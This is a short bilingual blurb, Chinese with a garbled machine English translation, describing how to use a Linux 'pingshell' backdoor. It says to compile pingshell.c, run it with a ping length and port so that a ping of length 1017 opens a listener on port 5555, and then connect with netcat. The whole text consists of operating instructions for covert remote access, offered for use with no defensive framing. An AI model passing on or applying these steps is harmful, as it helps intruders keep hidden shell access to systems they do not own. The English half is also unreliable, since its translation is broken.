一个linux的pingshell后门，首先编译pingshell.c后门, 编译后生成的pingshell这个文件就是我们的后门了，然后使用命令



pingshell 1017 5555，意思是当接受当ping包长度为1017时监听本地5555端口，ping -l 1017 127.0.0.1



然后用nc进行连接，nc -nvv ip 5555即可。



注：这种后门有个问题就是如果进行暴力破解的话，也不太安全》-First compile pingshell.c backdoor, the compiled file pingshell this is our back door, and then use the command



pingshell 1017 5555, meaning that if accepted as ping packet length is 1017 local time listening 5555 port, ping-l 1017 127.0.0.1



Then connect nc, nc-nvv ip 5555 can be.



Note: This question is if there is a back door brute force, it is not very safe.